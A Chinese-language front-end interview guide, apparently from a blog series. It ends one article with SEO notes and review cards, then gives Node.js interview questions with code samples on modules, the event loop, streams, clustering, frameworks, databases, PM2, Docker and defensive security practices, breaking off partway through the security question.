渲染策略：核心内容 SSR/SSG 化，保证爬虫拿到完整 HTML（Next.js 的 metadata API 管理 TDK、Open Graph、canonical）；
结构化数据：JSON-LD 标注商品、文章、面包屑，争取富媒体摘要；
性能即 SEO：Core Web Vitals（LCP/INP/CLS）是排名因子，性能治理和 SEO 是同一件事；
工程细节：sitemap 自动生成与提交、robots 管理、多语言 hreflang 标注、URL 规范化（去参数化、统一大小写与尾斜杠）；
验证：Search Console 监控收录与展现，配合日志分析爬虫抓取行为，确认 SSR 内容真实可达。

复习卡片速记

[!TIP] 24 问核心结论一句话速记

双栈选型：看团队基因 + 业务形态 + 渲染目标，不看"谁更好"

响应式本质：Vue 把优化做在框架里，React 把优化交给开发者

TS 落地：严格模式渐进 + 类型收口 + 公共类型库；收益在"改"不在"写"

SSR/SSG/ISR：ISR = stale-while-revalidate，折中性能与时效

SSR 坑：环境判断 + 数据瀑布流 + hydration mismatch + 缓存分层

Konva 图层：按"更新频率"分层，高频层重绘不波及静态层

2D×3D 协同：纹理做单向数据流，UV 坐标映射做交互回流

配置驱动：把组合问题从代码空间搬到配置空间（N×M×K → 一份约束）

Hybrid 架构：桥接层抽象 + 能力探测（非宿主嗅探）+ 协议版本化

N-API 硬件：ThreadSafeFunction 回抛 + 状态机 + 背压丢帧 + 崩溃隔离

离线包：manifest 差量 + 原子切换 + 自动回滚 + 签名防降级

构建调优：尽头是缓存和任务图，不是调参

字体裁剪：子集化 + unicode-range 分片 + 授权替换

渲染性能：度量 → 归因 → 治理 → 防劣化（CI 门禁）

埋点体系：分层采集 + 声明式优先 + 异常串联 breadcrumb

状态选型：业务流转型用 Redux，工具/视图型用 zustand

逻辑收敛：第三次重复再抽象，前两次忍住

BFF：薄层聚合 + 裁剪整形 + 端侧逻辑上收，不承载核心事务

多语种：文案 key 化 + 构建/运行双缺失监控 + 按需加载

多语言字体：字符集裁剪 + 授权映射 + RTL 逻辑属性

AI 协作流：spec 先行 + TDD + 实施计划 + 行级归因

AI 工具链：Claude Code 主力 + Skill 固化流程 + MCP 打通内部系统

运维程度：能独立完成"部署与排障闭环"即可，不需 SRE 深度

SEO：SSR/SSG 化 + 结构化数据 + 性能即 SEO + 工程细节

[!IMPORTANT] 这份问答覆盖的能力版图，本质上是同一条主线：把复杂问题收敛为可维护的系统——组合爆炸的渲染需求收敛为配置驱动、多宿主的碎片化收敛为统一 Bridge 抽象、重复的业务逻辑收敛为共用组件与 hook、模糊的研发流程收敛为 spec + TDD 的人机协作规范。框架和工具会过时，"收敛"的方法论不会。

[!TIP] 上面 24 问给出了"怎么想"的答案，如果想看这些方案如何完整落地（四层架构、求解器代码、CanvasTexture 单向数据流、N-API 桥接、离线包 manifest、AI 协作流），请继续阅读实战深化篇：前端深水区实战，把五个最有复用价值的实践从"分析 → 设计 → 落地 → 治理"完整拆解。

返回面试宝典总览 | 面试宝典合集页

Node.js 面试题专篇（前端全栈必备）

Wed, 16 Sep 2026 15:00:00 GMT

[!NOTE] 本文包含 25+ 道 Node.js 面试题，面向需要掌握服务端开发的中高级前端工程师（全栈/BFF/SSR 场景），难度标注：⭐ 基础 · ⭐⭐ 进阶 · ⭐⭐⭐ 高级 · 🔥 高频必考

Node.js 基础

Q1: Node.js 是什么？特点和适用场景？⭐ 🔥

答：

Node.js 是基于 V8 引擎的 JavaScript 运行时，让 JS 能脱离浏览器运行在服务器端。

核心特点：

特点	说明
单线程	主线程只有一个（避免线程切换开销）
非阻塞 I/O	文件/网络 I/O 交给底层 libuv，主线程不等待
事件驱动	通过事件循环处理异步回调
高并发	单进程可处理数万连接（相比传统多线程模型）
跨平台	Windows / Linux / macOS

架构分层：

┌───────────────────────────────────┐
│  JS 代码（业务逻辑）              │
├───────────────────────────────────┤
│  Node.js 标准库                   │
│  (http/fs/net/stream/events...)  │
├───────────────────────────────────┤
│  C++ Bindings（JS ↔ C++ 桥接）    │
├──────────────────┬────────────────┤
│   V8 引擎        │    libuv       │
│  （执行 JS）      │ （异步 I/O）    │
└──────────────────┴────────────────┘

适用场景：

场景	原因
BFF 中间层	前端主导，接口聚合、数据裁剪
SSR / SSG	Next.js / Nuxt / Astro
实时应用	聊天、协同、直播（长连接）
I/O 密集 API	高并发读写数据库、代理转发
微服务	轻量、启动快、容器友好
CLI 工具	前端脚手架、构建工具（Vite/eslint）
Serverless	冷启动快，按需付费

不适用场景：

CPU 密集任务（视频编码、大量数学运算、图像处理）—— 单线程会阻塞
强事务、复杂业务逻辑的传统企业应用（Java 生态更成熟）

Q2: Node.js 单线程为什么能支持高并发？⭐⭐ 🔥

传统多线程模型（Apache 老版本）：
每个请求 → 创建一个线程 → 阻塞等待 I/O → 返回响应
问题：
- 线程创建/切换开销大
- 内存占用高（每线程 ~1MB 栈）
- C10K 问题（万级连接就撑不住）

Node.js 事件驱动模型：
每个请求 → 注册回调 → 立即返回 → 主线程处理下一个请求
       ↓ I/O 完成
    libuv 线程池处理 → 事件循环触发回调 → 返回响应

关键点：
1. 主线程不阻塞：I/O 交给操作系统 / libuv 线程池
2. 单线程避免了锁竞争和上下文切换
3. 内存占用低：每连接 ~几 KB
4. libuv 默认线程池 4 个（可调 UV_THREADPOOL_SIZE 至 1024）

真实数据：
- Node.js 单进程可支持 5万+ 并发连接
- 传统 Apache 每线程模型：几千连接就 OOM

追问：单线程如何处理 CPU 密集任务？

Worker Threads（Node 12+）
Child Process（fork）
Cluster（多进程利用多核）
任务拆分 + setImmediate（让出事件循环）

模块系统

Q3: CommonJS 和 ES Module 的区别？⭐⭐ 🔥

答：

维度	CommonJS (CJS)	ES Module (ESM)
语法	`require` / `module.exports`	`import` / `export`
加载时机	运行时（同步）	编译时（静态分析）
值	拷贝（值传递）	引用（实时绑定）
this	当前模块	undefined
顶层 await	❌	✅
Tree Shaking	❌（动态无法分析）	✅（静态结构）
文件扩展名	`.js`（默认）/ `.cjs`	`.mjs` 或 package.json 声明 `"type": "module"`
Node 支持	原生	Node 12+ 支持，14+ 稳定

// CommonJS
// lib.cjs
module.exports = { foo: 1 };
// main.cjs
const { foo } = require('./lib.cjs');
console.log(foo);  // 1

// ES Module
// lib.mjs
export const foo = 1;
// main.mjs
import { foo } from './lib.mjs';
console.log(foo);  // 1

// 值 vs 引用（关键区别）
// CJS：拷贝，修改 exports 后 require 的还是旧值
// counter.cjs
let count = 0;
setTimeout(() => count = 100, 1000);
module.exports = { count };
// main.cjs
const { count } = require('./counter.cjs');
setTimeout(() => console.log(count), 2000);  // 0（拷贝的旧值）

// ESM：引用绑定，实时读取
// counter.mjs
export let count = 0;
setTimeout(() => count = 100, 1000);
// main.mjs
import { count } from './counter.mjs';
setTimeout(() => console.log(count), 2000);  // 100（实时读取）

Q4: Node.js 中如何混用 CJS 和 ESM？⭐⭐⭐

// ESM 中导入 CJS：可以，但只能默认导入
// lib.cjs
module.exports = { foo: 1, bar: 2 };
// main.mjs
import lib from './lib.cjs';         // ✅ 默认导入整个 exports
import { foo } from './lib.cjs';     // ⚠️ Node 14+ 支持命名导入（有限）

// CJS 中导入 ESM：只能用动态 import()
// main.cjs
async function load() {
  const { foo } = await import('./lib.mjs');   // ✅
}
// const { foo } = require('./lib.mjs');       // ❌ 报错

// package.json 决定默认模块类型
{
  "type": "module"    // 该包下 .js 默认按 ESM 解析
  // 或 "type": "commonjs"（默认）
}
// 显式指定：.cjs 强制 CJS，.mjs 强制 ESM

// 双模式包（同时支持 CJS 和 ESM）：
{
  "main": "./dist/index.cjs",
  "module": "./dist/index.mjs",
  "exports": {
    ".": {
      "import": "./dist/index.mjs",
      "require": "./dist/index.cjs"
    }
  }
}

Q5: require 的查找过程？循环依赖怎么处理？⭐⭐⭐

require('xxx') 查找顺序：

1. 核心模块（http/fs/path 等）→ 直接返回
2. 路径模块（./ ../ /）→ 按路径查找
3. 非路径模块（lodash）→ node_modules 查找
   从当前目录逐级向上查找 node_modules
   找到后：
   a. 有 package.json 且声明 main → 加载 main
   b. 无 package.json 或无 main → 依次尝试
      index.js → index.json → index.node

文件扩展名解析顺序：
.js → .json → .node（C++ 插件）→ .mjs（ESM）

模块缓存：
- 加载过的模块缓存在 require.cache
- 同一模块多次 require 只执行一次
- 可通过 delete require.cache[路径] 强制重载（测试常用）

// 循环依赖示例
// a.js
console.log('a 开始');
exports.done = false;
const b = require('./b.js');       // 加载 b，此时 b 拿到 a 的不完整 exports
console.log('在 a 中，b.done =', b.done);
exports.done = true;
console.log('a 结束');

// b.js
console.log('b 开始');
exports.done = false;
const a = require('./a.js');       // a 正在加载中，返回已执行部分的 exports
console.log('在 b 中，a.done =', a.done);   // false（不完整！）
exports.done = true;
console.log('b 结束');

// main.js
const a = require('./a.js');
const b = require('./b.js');
console.log('在 main 中，a.done =', a.done, 'b.done =', b.done);

// 输出：
// a 开始
// b 开始
// 在 b 中，a.done = false     ← 循环依赖拿到不完整的 exports
// b 结束
// 在 a 中，b.done = true
// a 结束
// 在 main 中，a.done = true b.done = true

// Node.js 处理循环依赖的策略：
// 返回"已执行部分"的 exports，不会无限递归
// 但可能导致拿到 undefined，需重构代码避免循环依赖

// ESM 的循环依赖：
// 静态分析 + 实时绑定，可以正确处理，但依然应避免

事件循环（Node.js 版本）

Q6: Node.js 事件循环和浏览器有何区别？⭐⭐⭐ 🔥

Node.js 事件循环（基于 libuv）分 6 个阶段：

   ┌───────────────────────────┐
┌─>│           timers          │  执行 setTimeout/setInterval 回调
│  ├───────────────────────────┤
│  │     pending callbacks     │  执行延迟到下一轮的 I/O 回调
│  ├───────────────────────────┤
│  │       idle, prepare       │  内部使用
│  ├───────────────────────────┤
│  │           poll            │  ★ 最重要：获取新的 I/O 事件
│  │                           │  执行 I/O 回调（文件、网络）
│  │                           │  适当时阻塞等待
│  ├───────────────────────────┤
│  │           check           │  执行 setImmediate 回调
│  ├───────────────────────────┤
│  │      close callbacks      │  执行 close 事件回调
│  └───────────────────────────┘

与浏览器的差异：

1. 微任务清空时机
   浏览器：每次宏任务后清空
   Node 11 前：每【阶段】结束后清空
   Node 11+：与浏览器对齐（每个宏任务后清空）

2. 独有 API
   process.nextTick：优先级最高，当前操作完成后立即执行
   setImmediate：check 阶段执行

3. 优先级顺序：
   process.nextTick > Promise.then > setTimeout ≈ setImmediate

// 经典输出题
setTimeout(() => console.log('timeout'), 0);
setImmediate(() => console.log('immediate'));
// 主模块中：顺序不确定（取决于进程启动耗时）
// 若在 I/O 回调中：immediate 总是先执行

// process.nextTick vs Promise
Promise.resolve().then(() => console.log('promise'));
process.nextTick(() => console.log('nextTick'));
// 输出：nextTick → promise

// nextTick 递归会阻塞事件循环！
function recursive() {
  process.nextTick(recursive);   // 永远轮不到 I/O
}
// 应该用 setImmediate 递归

// 综合题
async function async1() {
  console.log('async1 start');
  await async2();
  console.log('async1 end');
}
async function async2() { console.log('async2'); }
console.log('script start');
setTimeout(() => console.log('setTimeout'), 0);
async1();
new Promise(resolve => {
  console.log('promise1');
  resolve();
}).then(() => console.log('promise2'));
console.log('script end');

// 输出顺序：
// script start
// async1 start
// async2
// promise1
// script end
// async1 end
// promise2
// setTimeout

Buffer 与 Stream

Q7: Buffer 是什么？为什么需要它？⭐⭐

// Buffer：Node.js 提供的二进制数据容器
// JS 原生只有字符串和数组，无法高效处理 TCP 流、文件、图片等二进制数据

// 创建 Buffer
const buf1 = Buffer.alloc(10);              // 10 字节，初始化为 0
const buf2 = Buffer.allocUnsafe(10);        // 10 字节，未初始化（快但可能泄漏旧数据）
const buf3 = Buffer.from([1, 2, 3]);        // 从数组
const buf4 = Buffer.from('hello');          // 从字符串（默认 utf-8）
const buf5 = Buffer.from('hello', 'base64');// 指定编码

// 编码转换
buf4.toString('utf8');      // 'hello'
buf4.toString('base64');    // 'aGVsbG8='
buf4.toString('hex');       // '68656c6c6f'

// 常见操作
Buffer.concat([buf1, buf2]);       // 拼接
buf1.write('abc', 0);              // 写入
buf1.slice(0, 5);                  // 切片（共享内存，不是拷贝！）
buf1.equals(buf2);                 // 比较
buf1.length;                       // 字节长度（不是字符长度）

// Buffer vs Uint8Array
// Buffer 是 Uint8Array 的子类，Node.js API 都接受两者
// 但 Buffer 有更多便捷方法（toString/alloc 等）

// 内存管理：
// Buffer 分配在 V8 堆外（不受 GC 精确管理）
// 大量小 Buffer 建议用 Buffer.allocUnsafe + 手动清零
// 或用 Buffer pool（Node 内部有 8KB pool）

Q8: Stream 是什么？四种类型？⭐⭐⭐ 🔥

Stream（流）：处理流式数据的抽象接口
适用于：大文件、实时数据、网络传输

核心优势：
- 内存友好：不用一次性加载全部数据
- 时间友好：边读边处理，不用等全部就绪

四种 Stream 类型：
┌──────────────┬─────────────────────────────┐
│ Readable     │ 可读流（数据源）             │
│              │ 例：fs.createReadStream      │
│              │     process.stdin            │
│              │     http 请求 body           │
├──────────────┼─────────────────────────────┤
│ Writable     │ 可写流（数据目的地）         │
│              │ 例：fs.createWriteStream     │
│              │     process.stdout           │
│              │     http 响应                │
├──────────────┼─────────────────────────────┤
│ Duplex       │ 双向流（既可读又可写）       │
│              │ 例：net.Socket               │
│              │     WebSocket                │
├──────────────┼─────────────────────────────┤
│ Transform    │ 转换流（读写并转换数据）     │
│              │ 例：zlib.createGzip          │
│              │     crypto.createCipheriv     │
└──────────────┴─────────────────────────────┘

// 大文件复制（错误做法：内存爆炸）
const data = fs.readFileSync('huge.mp4');      // 4GB 内存！
fs.writeFileSync('copy.mp4', data);

// 正确做法：Stream
fs.createReadStream('huge.mp4')
  .pipe(fs.createWriteStream('copy.mp4'));     // 分块传输，内存占用小

// pipe 的进阶用法（gzip 压缩）
fs.createReadStream('data.txt')
  .pipe(zlib.createGzip())
  .pipe(fs.createWriteStream('data.txt.gz'));

// Stream 三大事件
const rs = fs.createReadStream('data.txt');
rs.on('data', chunk => console.log('收到 chunk', chunk.length));
rs.on('end', () => console.log('读取完成'));
rs.on('error', err => console.error('出错', err));

// 背压（Backpressure）
// 问题：读得快、写得慢 → 数据积压在内存
// pipe 自动处理背压
// 手动处理：
const rs = fs.createReadStream('in.txt');
const ws = fs.createWriteStream('out.txt');
rs.on('data', chunk => {
  const ok = ws.write(chunk);
  if (!ok) {
    rs.pause();                                  // 暂停读
    ws.once('drain', () => rs.resume());         // 排空后恢复
  }
});

// Stream 组合（pipeline，Node 10+，推荐替代 pipe）
const { pipeline } = require('stream/promises');
await pipeline(
  fs.createReadStream('in.txt'),
  zlib.createGzip(),
  fs.createWriteStream('in.txt.gz')
);
// pipeline 优势：自动清理、错误传播、支持 Promise

// Stream 在 Web 标准中的对应
// Node.js Stream ↔ Web Streams API（ReadableStream/WritableStream）
// Node 18+ 两者可互转：Readable.toWeb() / Readable.fromWeb()

进程、线程与集群

Q9: child_process、cluster、worker_threads 的区别？⭐⭐⭐ 🔥

方案	隔离性	通信	适用场景
child_process	完全独立进程	IPC（stdio）	调用外部命令、独立子任务
cluster	独立进程，共享端口	IPC	多核负载均衡（Web 服务）
worker_threads	线程，共享内存	postMessage / SharedArrayBuffer	CPU 密集计算

// 1. child_process —— 创建子进程
const { spawn, exec, fork, execFile } = require('child_process');

// spawn：流式输出，适合长时间运行、大数据量
const child = spawn('ls', ['-la']);
child.stdout.on('data', d => console.log(d.toString()));
child.on('close', code => console.log('退出码', code));

// exec：缓冲输出，适合短命令
exec('ls -la', (err, stdout, stderr) => console.log(stdout));

// fork：spawn 的特例，创建 Node 子进程 + IPC 通道
const worker = fork('./worker.js');
worker.send({ task: 'compute' });
worker.on('message', result => console.log(result));

// 2. cluster —— 多进程共享端口（利用多核 CPU）
const cluster = require('cluster');
const os = require('os');

if (cluster.isPrimary) {
  const numCPUs = os.cpus().length;
  for (let i = 0; i < numCPUs; i++) cluster.fork();

  cluster.on('exit', (worker) => {
    console.log(`Worker ${worker.process.pid} 挂了，重启`);
    cluster.fork();                              // 自动重启
  });
} else {
  require('./server.js');                        // 每个 Worker 运行 HTTP 服务
  // 内核负责负载均衡（Linux 上由内核分发，Windows 由 primary 轮询）
}

// 3. worker_threads —— 线程（Node 12+）
const { Worker, isMainThread, parentPort, workerData } = require('worker_threads');

if (isMainThread) {
  const worker = new Worker(__filename, { workerData: { num: 42 } });
  worker.on('message', result => console.log('计算结果', result));
  worker.on('error', err => console.error(err));
} else {
  // 在 worker 线程中执行 CPU 密集任务
  const result = heavyCompute(workerData.num);
  parentPort.postMessage(result);
}

// worker_threads vs child_process：
// - 线程共享内存（SharedArrayBuffer），通信更快
// - 内存开销小（进程 ~30MB，线程 ~5MB）
// - 但隔离性弱，一个线程崩溃可能影响主线程

// 选型建议：
// - Web 服务多核负载均衡 → cluster（生产用 PM2 cluster 模式）
// - CPU 密集计算（图片处理、加密）→ worker_threads
// - 调用外部命令 / 独立子任务 → child_process

Q10: 进程间通信（IPC）有哪些方式？⭐⭐⭐

1. stdio 管道（child_process.spawn 默认）
   父进程 ← stdin/stdout/stderr → 子进程
   
2. IPC 通道（child_process.fork / cluster）
   process.send() / process.on('message')
   基于 socket / named pipe
   
3. 信号（Signal）
   process.kill(pid, 'SIGTERM')
   process.on('SIGTERM', () => cleanup())
   
4. 共享内存（worker_threads）
   SharedArrayBuffer + Atomics
   
5. 网络通信（跨机器）
   HTTP / WebSocket / gRPC / TCP
   
6. 消息队列（跨服务）
   Redis Pub/Sub / RabbitMQ / Kafka
   
7. 文件锁 / 命名管道
   适合无亲缘关系进程

Node.js 常用：
- fork() 自带 IPC 通道，最简单
- cluster 内部用 IPC 做进程管理
- PM2 通过 IPC 实现进程监控和零停机重启

HTTP 服务器与框架

Q11: Node.js 原生 HTTP 服务器怎么写？⭐

const http = require('http');
const url = require('url');

const server = http.createServer((req, res) => {
  const { pathname, query } = url.parse(req.url, true);

  // 设置 CORS
  res.setHeader('Access-Control-Allow-Origin', '*');
  res.setHeader('Content-Type', 'application/json; charset=utf-8');

  // 路由分发
  if (req.method === 'GET' && pathname === '/api/users') {
    res.writeHead(200);
    res.end(JSON.stringify({ users: [] }));
  } else if (req.method === 'POST' && pathname === '/api/users') {
    // 读取请求 body（Stream）
    let body = '';
    req.on('data', chunk => body += chunk);
    req.on('end', () => {
      const data = JSON.parse(body);
      res.writeHead(201);
      res.end(JSON.stringify({ id: 1, ...data }));
    });
  } else {
    res.writeHead(404);
    res.end(JSON.stringify({ error: 'Not Found' }));
  }
});

server.listen(3000, () => console.log('Server on :3000'));

// 原生 HTTP 的痛点：
// 1. 路由分发要手写 if/else
// 2. body 解析要手动收集 Stream
// 3. 中间件（日志、鉴权、错误处理）没有统一机制
// 4. 静态文件服务要自己实现
// → 所以有 Express / Koa / Fastify / NestJS

Q12: Express、Koa、Fastify、NestJS 怎么选？⭐⭐ 🔥

框架	中间件模型	性能	生态	TypeScript	适用场景
Express	线性	中	★★★★★	需 @types	通用 API、快速原型
Koa	洋葱模型	中	★★★★	需 @types	需要精细控制中间件
Fastify	钩子 + 中间件	最快	★★★	内置支持	高性能 API
NestJS	洋葱 + DI + 装饰器	中（基于 Express/Fastify）	★★★★	原生 TS	企业级、大型项目

// Express：最主流，回调风格
const express = require('express');
const app = express();
app.use(express.json());                        // 中间件
app.get('/users/:id', (req, res) => {
  res.json({ id: req.params.id });
});
app.use((err, req, res, next) => {              // 错误处理中间件
  res.status(500).json({ error: err.message });
});
app.listen(3000);

// Koa：洋葱模型（async/await）
const Koa = require('koa');
const app = new Koa();
app.use(async (ctx, next) => {
  const start = Date.now();
  await next();                                  // 执行下游
  ctx.set('X-Response-Time', `${Date.now() - start}ms`);
});
app.use(async ctx => { ctx.body = 'Hello'; });
app.listen(3000);

// Fastify：高性能 + Schema 校验
const fastify = require('fastify')();
fastify.get('/users/:id', {
  schema: {
    params: { type: 'object', properties: { id: { type: 'string' } } },
    response: { 200: { type: 'object', properties: { id: { type: 'string' } } } }
  }
}, async (req, reply) => ({ id: req.params.id }));
fastify.listen({ port: 3000 });

// NestJS：装饰器 + 依赖注入 + 模块化
@Controller('users')
export class UserController {
  constructor(private readonly userService: UserService) {}

  @Get(':id')
  async findOne(@Param('id') id: string) {
    return this.userService.findOne(id);
  }
}
// NestJS 底层默认用 Express，可切换到 Fastify

Koa 洋葱模型详解：

// 中间件像洋葱，请求进入时顺序执行，响应返回时逆序执行
app.use(async (ctx, next) => {
  console.log('1 进入');
  await next();
  console.log('6 返回');
});
app.use(async (ctx, next) => {
  console.log('2 进入');
  await next();
  console.log('5 返回');
});
app.use(async (ctx) => {
  console.log('3 处理');
  ctx.body = 'hello';
  console.log('4 处理完');
});

// 输出：1进入 → 2进入 → 3处理 → 4处理完 → 5返回 → 6返回

// 洋葱模型的价值：
// - 日志统计耗时（await next() 前后）
// - 事务管理（await next() 前开启，后提交/回滚）
// - 响应统一包装
// - 错误捕获（try/catch await next()）

选型建议：

快速开发、社区大 → Express
需要洋葱模型、精细控制 → Koa
追求极致性能 → Fastify
企业级、TypeScript、微服务 → NestJS
BFF 层 / 前端主导 → NestJS 或 Koa

数据库与 ORM

Q13: Node.js 连接数据库的方案？⭐⭐

// MySQL
const mysql = require('mysql2/promise');
const pool = mysql.createPool({
  host: 'localhost', user: 'root', password: 'xxx',
  database: 'test', waitForConnections: true,
  connectionLimit: 10,                           // 连接池大小
  queueLimit: 0,
});
const [rows] = await pool.execute('SELECT * FROM users WHERE id = ?', [1]);

// Redis
const Redis = require('ioredis');
const redis = new Redis({ host: 'localhost', port: 6379, db: 0 });
await redis.set('key', 'value', 'EX', 3600);     // 1 小时过期
const val = await redis.get('key');

// MongoDB
const { MongoClient } = require('mongodb');
const client = new MongoClient('mongodb://localhost:27017');
await client.connect();
const db = client.db('test');
const users = await db.collection('users').find({}).toArray();

// ORM 方案
// 1. Prisma（现代、TS 友好、DX 最好）
const { PrismaClient } = require('@prisma/client');
const prisma = new PrismaClient();
const user = await prisma.user.findUnique({ where: { id: 1 } });

// 2. TypeORM（装饰器风格，NestJS 默认）
@Entity()
class User {
  @PrimaryGeneratedColumn() id: number;
  @Column() name: string;
}
const user = await repo.findOne({ where: { id: 1 } });

// 3. Sequelize（老牌，功能全）
const User = sequelize.define('User', { name: DataTypes.STRING });
const user = await User.findByPk(1);

// 4. Mongoose（MongoDB ODM）
const User = mongoose.model('User', new Schema({ name: String }));
const user = await User.findById(id);

// 选型建议：
// - 新项目、TypeScript → Prisma（首推）
// - NestJS 项目 → TypeORM
// - 复杂 SQL、多数据库 → Sequelize
// - MongoDB → Mongoose

Q14: 什么是连接池？为什么需要？⭐⭐

问题：每次请求都创建/销毁数据库连接
- TCP 三次握手 + 认证 → 每次开销 ~50-100ms
- 数据库连接数有限（MySQL 默认 151）
- 高并发下连接数暴涨 → 数据库崩溃

连接池：预先创建 N 个连接，复用
┌──────────────────────────────┐
│      连接池（Connection Pool）│
│  ┌────┐┌────┐┌────┐┌────┐    │
│  │ C1 ││ C2 ││ C3 ││ C4 │ …  │
│  └────┘└────┘└────┘└────┘    │
└──────────────────────────────┘
       ↑       ↓
   请求获取  用完归还

关键配置：
- connectionLimit：最大连接数（一般 = CPU 核数 × 2 + 磁盘数）
- queueLimit：等待队列长度
- idleTimeout：空闲连接超时回收
- acquireTimeout：获取连接超时

Node.js 各库默认都有连接池：
- mysql2: createPool()
- pg: new Pool()
- Redis: ioredis 内置
- Mongoose: 内置

连接池监控：
- 活跃连接数 / 空闲连接数 / 等待队列长度
- 连接泄漏检测（长时间未归还）

性能优化

Q15: Node.js 性能优化手段？⭐⭐⭐ 🔥

1. CPU 密集任务处理
   - Worker Threads（首选）
   - 任务队列（Bull / BullMQ + Redis）
   - 微服务拆分（专门的服务处理计算任务）

2. I/O 优化
   - 使用异步 API（fs.promises 而非 fs sync）
   - 连接池（数据库、Redis、HTTP Agent）
   - HTTP Keep-Alive（复用 TCP 连接）
   - 批处理（bulk insert、pipeline）

3. 缓存策略
   - 内存缓存：LRU-Cache / node-cache（进程内，最快）
   - 分布式缓存：Redis（多实例共享）
   - HTTP 缓存：ETag / Last-Modified / Cache-Control
   - 多级缓存：内存 → Redis → 数据库

4. 内存管理
   - 避免大对象（用 Stream 处理大文件）
   - 及时释放引用（避免闭包持有大数据）
   - 监控 V8 堆：process.memoryUsage()
   - 排查内存泄漏：--inspect + Chrome DevTools 拍堆快照

5. 代码层面
   - 避免同步 API（fs.readFileSync 阻塞事件循环）
   - JSON 大对象序列化用 fast-json-stringify（基于 Schema）
   - 正则避免灾难性回溯（用 safe-regex 检查）
   - 减少闭包和函数创建（V8 优化）

6. 部署层面
   - Cluster / PM2 多进程利用多核
   - Docker 容器化 + K8s 水平扩展
   - Nginx 反向代理 + 负载均衡 + 静态资源
   - CDN 加速静态资源
   - Gzip / Brotli 压缩

7. 监控工具
   - clinic.js（诊断 Node.js 性能问题）
   - 0x（火焰图）
   - node --prof（V8 profiler）
   - Prometheus + Grafana（生产监控）
   - APM：New Relic / DataDog / 阿里 ARMS

// 性能分析工具 clinic.js
// 安装：npm i -g clinic
// 使用：
clinic doctor -- node server.js       // 综合诊断
clinic flame -- node server.js        // 火焰图
clinic bubbleprof -- node server.js   // 异步操作分析

// 内存泄漏排查
const v8 = require('v8');
const heapStats = v8.getHeapStatistics();
console.log(heapStats);
// {
//   total_heap_size: 20971520,
//   used_heap_size: 15728640,
//   heap_size_limit: 2197815296,   // 默认 ~2GB（64位）
// }

// 手动触发 GC（需启动参数 --expose-gc）
global.gc();

// HTTP Keep-Alive Agent（复用 TCP 连接）
const http = require('http');
const agent = new http.Agent({ keepAlive: true, maxSockets: 100 });
http.get({ host: 'api.example.com', agent });

部署运维

Q16: PM2 是什么？常用命令？⭐⭐ 🔥

PM2（Process Manager 2）：Node.js 生产环境进程管理器

核心功能：
1. 守护进程（崩溃自动重启）
2. 集群模式（多核负载均衡）
3. 零停机重启（reload）
4. 日志管理（合并、切割）
5. 监控（CPU、内存、重启次数）
6. 开机自启

常用命令：
pm2 start app.js --name myapp         # 启动
pm2 start app.js -i max               # 集群模式（max = CPU 核数）
pm2 list                              # 查看所有进程
pm2 logs myapp                        # 查看日志
pm2 monit                             # 实时监控面板
pm2 restart myapp                     # 重启（有短暂中断）
pm2 reload myapp                      # 零停机重启（滚动更新）
pm2 stop myapp                        # 停止
pm2 delete myapp                      # 删除
pm2 save                              # 保存进程列表
pm2 startup                           # 生成开机自启脚本

配置文件（ecosystem.config.js）：

module.exports = {
  apps: [{
    name: 'myapp',
    script: './dist/main.js',
    instances: 'max',                    // 集群数（max = CPU 核数）
    exec_mode: 'cluster',                // 集群模式
    env: {
      NODE_ENV: 'production',
      PORT: 3000,
    },
    max_memory_restart: '1G',            // 内存超限自动重启
    error_file: './logs/err.log',
    out_file: './logs/out.log',
    merge_logs: true,
    log_date_format: 'YYYY-MM-DD HH:mm:ss',
    // 优雅关闭
    kill_timeout: 5000,
    wait_ready: true,                    // 等待 process.send('ready')
    listen_timeout: 10000,
  }],
};

// 应用中：
process.send('ready');                   // 通知 PM2 应用就绪
process.on('SIGINT', () => {             // 优雅关闭
  server.close(() => process.exit(0));
});

Q17: Node.js Docker 部署最佳实践？⭐⭐

# 多阶段构建（镜像最小化）

# 阶段 1：构建
FROM node:20-alpine AS builder
WORKDIR /app
COPY package*.json ./
RUN npm ci --only=production              # 只装生产依赖
COPY . .
RUN npm run build                         # TS 编译 / 打包

# 阶段 2：运行
FROM node:20-alpine
WORKDIR /app

# 安全：不用 root 用户
RUN addgroup -g 1001 -S nodejs && \
    adduser -S nodejs -u 1001

# 只复制构建产物和生产依赖
COPY --from=builder --chown=nodejs:nodejs /app/dist ./dist
COPY --from=builder --chown=nodejs:nodejs /app/node_modules ./node_modules
COPY --from=builder --chown=nodejs:nodejs /app/package.json ./

USER nodejs
EXPOSE 3000

# 健康检查
HEALTHCHECK --interval=30s --timeout=3s \
  CMD wget --quiet --tries=1 --spider http://localhost:3000/health || exit 1

# 用 node 直接启动（不用 npm start，让 Node 成为 PID 1，接收 SIGTERM）
CMD ["node", "dist/main.js"]

# docker-compose.yml
version: '3.8'
services:
  app:
    build: .
    ports: ["3000:3000"]
    environment:
      - NODE_ENV=production
      - DATABASE_URL=postgres://user:pass@db:5432/app
    depends_on: [db, redis]
    restart: unless-stopped
  db:
    image: postgres:16-alpine
    volumes: [pgdata:/var/lib/postgresql/data]
  redis:
    image: redis:7-alpine
volumes:
  pgdata:

关键实践：

基础镜像：用 alpine（~150MB）而非默认（~900MB）
多阶段构建：构建工具不进最终镜像
不用 root：创建专用用户
健康检查：K8s / Docker 依赖它判断服务状态
优雅关闭：处理 SIGTERM，先停止接受新请求，等现有请求完成
PID 1 问题：用 node 直接启动，或用 tini 作为 init
配置外置：环境变量 / ConfigMap，不打进镜像

安全

Q18: Node.js 常见安全风险与防护？⭐⭐

1. 依赖漏洞
   - npm audit / snyk / socket.dev 扫描
   - 定期更新（npm-check-updates）
   - lock 文件提交，防止 CI 装到不同版本

2. XSS（服务端渲染场景）
   - 转义用户输入（用模板引擎默认转义，别关闭）
   - CSP 响应头（helmet.contentSecurityPolicy）
   - 富文本用 sanitize-html / DOMPurify

3. SQL 注入
   - 参数化查询（?占位符），永远别拼字符串
   - 用 ORM（Prisma/TypeORM 默认参数化）

4. CSRF
   - SameSite Cookie
   - CSRF Token（csurf 中间件）
   - 验证 Origin / Referer

5. 敏感信息泄漏
   - 生产环境不返回 stack trace
   - .env 文件不进 Git（.gitignore）
   - 日志脱敏（手机号、身份证、密码）
   - 错误响应不暴露内部信息

6. HTTP 安全头（helmet 一键搞定）
   const helmet = require('helmet');
   app.use(helmet());
   // 自动设置：
   // - X-Content-Type-Options: nosniff
   // - X-Frame-Options: SAMEORIGIN
   // - Strict-Transport-Security
   // - Content-Security-Policy
   // - X-XSS-Protection

7. 速率限制（防 DDoS / 暴力破解）
   const rateLimit = require('express-rate-limit');
